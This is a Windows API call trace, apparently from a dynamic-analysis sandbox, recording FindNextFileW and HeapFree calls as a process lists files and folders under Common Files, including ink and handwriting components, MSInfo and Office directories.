	[0070.844] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0070.844] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="osknav.xml", cAlternateFileName="")) returned 1
	[0070.845] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0070.845] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="osknumpad.xml", cAlternateFileName="")) returned 1
	[0070.845] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0070.845] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="oskpred.xml", cAlternateFileName="")) returned 1
	[0070.847] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0070.847] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x24f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="symbols.xml", cAlternateFileName="")) returned 1
	[0070.847] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0070.847] FindNextFileW (in: hFindFile=0x812048, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cf9a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-IL", cAlternateFileName="")) returned 1
	[0070.847] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0070.847] FindNextFileW (in: hFindFile=0x812048, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cfce2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-HR", cAlternateFileName="")) returned 1
	[0070.847] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0070.847] FindNextFileW (in: hFindFile=0x812048, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06d0656, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1
	[0070.848] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0070.848] FindNextFileW (in: hFindFile=0x812048, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8ce781, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe382bd1f, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe382bd1f, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xb620, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrcommonlm.dat", cAlternateFileName="")) returned 1
	[0070.848] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0070.848] FindNextFileW (in: hFindFile=0x812048, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85c57278, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xb269cdea, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb269cdea, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x79bc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrenclm.dat", cAlternateFileName="")) returned 1
	[0070.854] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0070.854] FindNextFileW (in: hFindFile=0x812048, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a026, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1
	[0070.854] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0070.854] FindNextFileW (in: hFindFile=0x812048, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a7a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1
	[0070.854] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0070.854] FindNextFileW (in: hFindFile=0x812048, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076afd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LanguageModel", cAlternateFileName="LANGUA~1")) returned 1
	[0070.857] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0070.857] FindNextFileW (in: hFindFile=0x812048, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076b52b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt-LT", cAlternateFileName="")) returned 1
	[0070.857] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0070.857] FindNextFileW (in: hFindFile=0x812048, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076ba6e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv-LV", cAlternateFileName="")) returned 1
	[0070.857] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0070.857] FindNextFileW (in: hFindFile=0x812048, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a4376e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1f30e81, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1f30e81, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x19f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="micaut.dll", cAlternateFileName="")) returned 1
	[0070.858] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0070.858] FindNextFileW (in: hFindFile=0x812048, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076c75d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1
	[0070.859] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0070.859] FindNextFileW (in: hFindFile=0x812048, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d57c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1
	[0070.859] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0070.859] FindNextFileW (in: hFindFile=0x812048, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d988, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1
	[0070.860] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0070.860] FindNextFileW (in: hFindFile=0x812048, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ddb8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1
	[0070.860] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0070.860] FindNextFileW (in: hFindFile=0x812048, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e0f5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-RO", cAlternateFileName="")) returned 1
	[0070.873] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0070.873] FindNextFileW (in: hFindFile=0x812048, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e38953f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e38953f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e38953f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b600, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtscom.dll", cAlternateFileName="")) returned 1
	[0070.873] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0070.873] FindNextFileW (in: hFindFile=0x812048, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe46546cb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe46546cb, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xb3200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShapeCollector.exe", cAlternateFileName="")) returned 1
	[0070.873] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0070.873] FindNextFileW (in: hFindFile=0x812048, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ec25, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-SI", cAlternateFileName="")) returned 1
	[0070.874] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0070.874] FindNextFileW (in: hFindFile=0x812048, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c7ae2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-RS", cAlternateFileName="SR-LAT~1")) returned 1
	[0070.875] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0070.875] FindNextFileW (in: hFindFile=0x812048, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c820e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1
	[0070.875] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0070.875] FindNextFileW (in: hFindFile=0x812048, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d14d081, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe467a929, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe467a929, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x0, dwReserved1=0x0, cFileName="TabIpsps.dll", cAlternateFileName="")) returned 1
	[0070.878] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0070.878] FindNextFileW (in: hFindFile=0x812048, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1aad768, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1aad768, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x109400, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipRes.dll", cAlternateFileName="")) returned 1
	[0070.878] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0070.878] FindNextFileW (in: hFindFile=0x812048, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c8ed8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-UA", cAlternateFileName="")) returned 1
	[0070.880] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0070.880] FindNextFileW (in: hFindFile=0x812048, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c93df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1
	[0070.880] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0070.880] FindNextFileW (in: hFindFile=0x812048, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c97fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1
	[0070.889] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0070.898] FindNextFileW (in: hFindFile=0x812048, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c97fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0
	[0070.898] FindClose (in: hFindFile=0x812048 | out: hFindFile=0x812048) returned 1
	[0070.899] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
	[0070.901] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa098a4c6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71143a45, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSInfo", cAlternateFileName="")) returned 1
	[0070.902] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f233a8 | out: hHeap=0x720000) returned 1
	[0070.903] FindNextFileW (in: hFindFile=0x811e88, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463aec8d, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x63793f1, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x463aec8d, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x5a600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe", cAlternateFileName="")) returned 1
	[0070.903] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
	[0070.903] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd9f60362, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd9f60362, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OFFICE16", cAlternateFileName="")) returned 1
	[0070.907] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0070.907] FindNextFileW (in: hFindFile=0x812048, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9f60362, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa0a26299, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda982389, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office Setup Controller", cAlternateFileName="OFFICE~1")) returned 0
	[0070.907] FindClose (in: hFindFile=0x812048 | out: hFindFile=0x812048) returned 1
	[0070.907] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
	[0070.907] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd99442a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd99442a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OfficeSoftwareProtectionPlatform", cAlternateFileName="OFFICE~1")) returned 1
	[0070.908] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
	[0070.908] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4accd6e1, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4accd6e1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Source Engine", cAlternateFileName="SOURCE~1")) returned 1
	[0070.910] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
	[0070.910] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b5538f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1
	[0070.911] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
